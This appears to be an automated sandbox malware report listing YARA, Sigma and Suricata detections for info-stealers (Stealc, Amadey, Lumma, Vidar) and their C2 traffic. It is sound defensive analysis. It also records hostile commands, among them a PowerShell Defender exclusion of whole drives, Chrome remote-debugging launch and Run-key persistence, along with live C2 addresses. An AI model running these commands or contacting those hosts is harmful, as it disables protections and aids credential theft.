0000002E.00000002.3949104288.0000000000CE0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
0000001E.00000002.4020661600.0000000007590000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000032.00000000.2778949645.0000000000680000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000000.00000002.2034821109.0000000000561000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000022.00000000.2705482772.00000000006D0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000000.00000003.1492348705.0000000004F20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000038.00000000.2820880841.0000000000E80000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000023.00000002.3950430675.0000000000B60000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000036.00000000.2805153901.0000000000B00000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000025.00000000.2716581161.0000000000CE0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
0000002B.00000000.2748613644.0000000000390000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000030.00000002.3949552387.0000000000890000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
0000002D.00000002.3951463621.0000000000280000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000038.00000002.3949197044.0000000000E80000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000025.00000002.3949685611.0000000000D10000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000013.00000002.3965228460.0000000000D31000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000027.00000002.3949410091.0000000000D20000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
0000002D.00000002.3950119021.0000000000250000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000028.00000000.2727187192.0000000000F80000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
0000002C.00000000.2753933388.0000000000DD0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000021.00000002.3949232550.0000000000870000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000028.00000002.3950537654.0000000000F80000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000025.00000002.3949201379.0000000000CE0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000022.00000002.3949200036.00000000006D0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000031.00000002.3952729365.0000000000C20000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000035.00000002.3949957788.0000000000540000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000024.00000002.3953090366.0000000000C20000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
0000002D.00000000.2764105412.0000000000250000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000035.00000000.2782456836.0000000000540000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000031.00000000.2774799935.0000000000BF0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000023.00000000.2707901628.0000000000B60000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000011.00000003.2073054703.0000000005510000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000021.00000000.2693465530.0000000000870000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
0000002B.00000002.3950780718.00000000003C0000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000028.00000002.3952929525.0000000000FB0000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000024.00000000.2710605344.0000000000BF0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000013.00000003.2475153902.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000012.00000003.2072651277.0000000005020000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000036.00000002.3951450143.0000000000B30000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
0000002F.00000000.2769315370.0000000000310000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000037.00000002.3950182926.0000000000C00000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000032.00000002.3952970949.00000000006B0000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000036.00000002.3950762365.0000000000B00000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
0000002C.00000002.3951635304.0000000000E00000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000035.00000002.3950934873.0000000000570000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000037.00000002.3949693545.0000000000BD0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
0000002F.00000002.3950179741.0000000000340000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000030.00000002.3949194748.0000000000860000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000038.00000002.3949553181.0000000000EB0000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000037.00000000.2811666069.0000000000BD0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000022.00000002.3949583923.0000000000700000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
Process Memory Space: file.exe PID: 764	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 764	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 764	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 764	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 70 entries

Unpacked PEs

Source	Rule	Description	Author
18.2.skotes.exe.d30000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
17.2.skotes.exe.d30000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
19.2.skotes.exe.d30000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
16.2.GCGHCBKFCF.exe.870000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1010790001\5d1390e5c6.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 3848, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\5d1390e5c6.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\'), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\'), CommandLine|base64offset|contains: i~kyzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 828, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\'), ProcessId: 848, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\user\AppData\Local\Temp\1010782021\Spreadtest'), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\user\AppData\Local\Temp\1010782021\Spreadtest'), CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 828, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\user\AppData\Local\Temp\1010782021\Spreadtest'), ProcessId: 1492, ProcessName: powershell.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 764, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 6516, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1010790001\5d1390e5c6.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 3848, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\5d1390e5c6.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 828, TargetFilename: C:\Users\user\AppData\Roaming\Network9294Man.cmd

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc, CommandLine: C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 828, ParentProcessName: powershell.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc, ProcessId: 2584, ProcessName: svchost.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, CommandLine: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\1010782021\Spreadtest.cmd" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6852, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 828, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T22:54:56.995042+0100	2028371	3	Unknown Traffic	192.168.2.9	49925	104.21.16.9	443	TCP
2024-11-30T22:54:59.429585+0100	2028371	3	Unknown Traffic	192.168.2.9	49932	104.21.16.9	443	TCP
2024-11-30T22:55:01.734177+0100	2028371	3	Unknown Traffic	192.168.2.9	49939	104.21.16.9	443	TCP
2024-11-30T22:55:04.006948+0100	2028371	3	Unknown Traffic	192.168.2.9	49945	104.21.16.9	443	TCP
2024-11-30T22:55:06.595886+0100	2028371	3	Unknown Traffic	192.168.2.9	49952	104.21.16.9	443	TCP
2024-11-30T22:55:09.290269+0100	2028371	3	Unknown Traffic	192.168.2.9	49963	104.21.16.9	443	TCP
2024-11-30T22:55:12.386690+0100	2028371	3	Unknown Traffic	192.168.2.9	49972	104.21.16.9	443	TCP
2024-11-30T22:55:13.050358+0100	2028371	3	Unknown Traffic	192.168.2.9	49974	104.21.16.9	443	TCP
2024-11-30T22:55:15.671651+0100	2028371	3	Unknown Traffic	192.168.2.9	49991	104.21.16.9	443	TCP
2024-11-30T22:55:17.512124+0100	2028371	3	Unknown Traffic	192.168.2.9	49998	104.21.16.9	443	TCP
2024-11-30T22:55:21.683301+0100	2028371	3	Unknown Traffic	192.168.2.9	50009	104.21.16.9	443	TCP
2024-11-30T22:55:24.137302+0100	2028371	3	Unknown Traffic	192.168.2.9	50016	104.21.16.9	443	TCP
2024-11-30T22:55:26.927283+0100	2028371	3	Unknown Traffic	192.168.2.9	50024	104.21.16.9	443	TCP
2024-11-30T22:55:29.353634+0100	2028371	3	Unknown Traffic	192.168.2.9	50032	104.21.16.9	443	TCP
2024-11-30T22:55:31.836866+0100	2028371	3	Unknown Traffic	192.168.2.9	50045	104.21.16.9	443	TCP
2024-11-30T22:55:34.341172+0100	2028371	3	Unknown Traffic	192.168.2.9	50052	104.21.16.9	443	TCP

ET MALWARE Amadey Bot Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T22:54:49.434954+0100	2044623	1	A Network Trojan was detected	192.168.2.9	49908	185.215.113.43	80	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T22:54:58.125765+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49925	104.21.16.9	443	TCP
2024-11-30T22:55:00.232719+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49932	104.21.16.9	443	TCP
2024-11-30T22:55:14.003865+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49974	104.21.16.9	443	TCP
2024-11-30T22:55:16.758395+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49991	104.21.16.9	443	TCP
2024-11-30T22:55:18.658132+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49998	104.21.16.9	443	TCP
2024-11-30T22:55:35.327155+0100	2054653	1	A Network Trojan was detected	192.168.2.9	50052	104.21.16.9	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T22:54:58.125765+0100	2049836	1	A Network Trojan was detected	192.168.2.9	49925	104.21.16.9	443	TCP
2024-11-30T22:55:14.003865+0100	2049836	1	A Network Trojan was detected	192.168.2.9	49974	104.21.16.9	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T22:55:00.232719+0100	2049812	1	A Network Trojan was detected	192.168.2.9	49932	104.21.16.9	443	TCP
2024-11-30T22:55:16.758395+0100	2049812	1	A Network Trojan was detected	192.168.2.9	49991	104.21.16.9	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T22:55:20.298286+0100	2019714	2	Potentially Bad Traffic	192.168.2.9	50004	185.215.113.16	80	TCP
2024-11-30T22:55:36.820442+0100	2019714	2	Potentially Bad Traffic	192.168.2.9	50060	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T22:54:18.267557+0100	2044696	1	A Network Trojan was detected	192.168.2.9	49833	185.215.113.43	80	TCP
2024-11-30T22:54:31.397316+0100	2044696	1	A Network Trojan was detected	192.168.2.9	49861	185.215.113.43	80	TCP
2024-11-30T22:54:44.132947+0100	2044696	1	A Network Trojan was detected	192.168.2.9	49895	185.215.113.43	80	TCP
2024-11-30T22:54:58.818357+0100	2044696	1	A Network Trojan was detected	192.168.2.9	49928	185.215.113.43	80	TCP
2024-11-30T22:55:07.475599+0100	2044696	1	A Network Trojan was detected	192.168.2.9	49954	185.215.113.43	80	TCP
2024-11-30T22:55:24.947758+0100	2044696	1	A Network Trojan was detected	192.168.2.9	50017	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T22:55:08.159565+0100	2054350	1	A Network Trojan was detected	192.168.2.9	49956	34.17.28.197	80	TCP
2024-11-30T22:55:09.863058+0100	2054350	1	A Network Trojan was detected	192.168.2.9	49965	34.17.28.197	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T22:52:29.209008+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.9	49705	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T22:52:28.877210+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.9	49705	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T22:52:29.553047+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.9	49705	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T22:52:31.369192+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.9	49705	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T22:52:29.884675+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.9	49705	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T22:55:05.047074+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.9	49945	104.21.16.9	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T22:52:28.411655+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.9	49705	185.215.113.206	80	TCP
2024-11-30T22:55:08.461879+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.9	49955	185.215.113.206	80	TCP
2024-11-30T22:55:24.100142+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.9	50015	185.215.113.206	80	TCP
2024-11-30T22:55:41.139075+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.9	50074	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T22:55:13.222861+0100	2856121	1	A Network Trojan was detected	192.168.2.9	49973	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T22:54:07.484785+0100	2856147	1	A Network Trojan was detected	192.168.2.9	49807	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T22:54:16.876345+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.9	49813	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T22:54:12.038680+0100	2803305	3	Unknown Traffic	192.168.2.9	49818	31.41.244.11	80	TCP
2024-11-30T22:54:19.798921+0100	2803305	3	Unknown Traffic	192.168.2.9	49836	31.41.244.11	80	TCP
2024-11-30T22:54:32.905522+0100	2803305	3	Unknown Traffic	192.168.2.9	49867	31.41.244.11	80	TCP
2024-11-30T22:54:46.186763+0100	2803305	3	Unknown Traffic	192.168.2.9	49899	104.21.21.16	443	TCP
2024-11-30T22:54:51.036041+0100	2803305	3	Unknown Traffic	192.168.2.9	49912	185.215.113.16	80	TCP
2024-11-30T22:55:00.328824+0100	2803305	3	Unknown Traffic	192.168.2.9	49935	185.215.113.16	80	TCP
2024-11-30T22:55:09.072394+0100	2803305	3	Unknown Traffic	192.168.2.9	49960	185.215.113.16	80	TCP
2024-11-30T22:55:15.628679+0100	2803305	3	Unknown Traffic	192.168.2.9	49981	185.215.113.16	80	TCP
2024-11-30T22:55:18.775532+0100	2803305	3	Unknown Traffic	192.168.2.9	50001	104.26.12.42	443	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T22:52:32.111361+0100	2803304	3	Unknown Traffic	192.168.2.9	49705	185.215.113.206	80	TCP
2024-11-30T22:52:59.231331+0100	2803304	3	Unknown Traffic	192.168.2.9	49739	185.215.113.206	80	TCP
2024-11-30T22:53:01.091626+0100	2803304	3	Unknown Traffic	192.168.2.9	49739	185.215.113.206	80	TCP
2024-11-30T22:53:02.431206+0100	2803304	3	Unknown Traffic	192.168.2.9	49739	185.215.113.206	80	TCP
2024-11-30T22:53:03.532317+0100	2803304	3	Unknown Traffic	192.168.2.9	49739	185.215.113.206	80	TCP
2024-11-30T22:53:07.030338+0100	2803304	3	Unknown Traffic	192.168.2.9	49739	185.215.113.206	80	TCP
2024-11-30T22:53:08.112194+0100	2803304	3	Unknown Traffic	192.168.2.9	49739	185.215.113.206	80	TCP
2024-11-30T22:53:13.819402+0100	2803304	3	Unknown Traffic	192.168.2.9	49741	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-30T22:55:33.058444+0100	2843864	1	A Network Trojan was detected	192.168.2.9	50045	104.21.16.9	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/c4becf79229cb002.php_%$L	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php01#	Avira URL Cloud: Label: malware
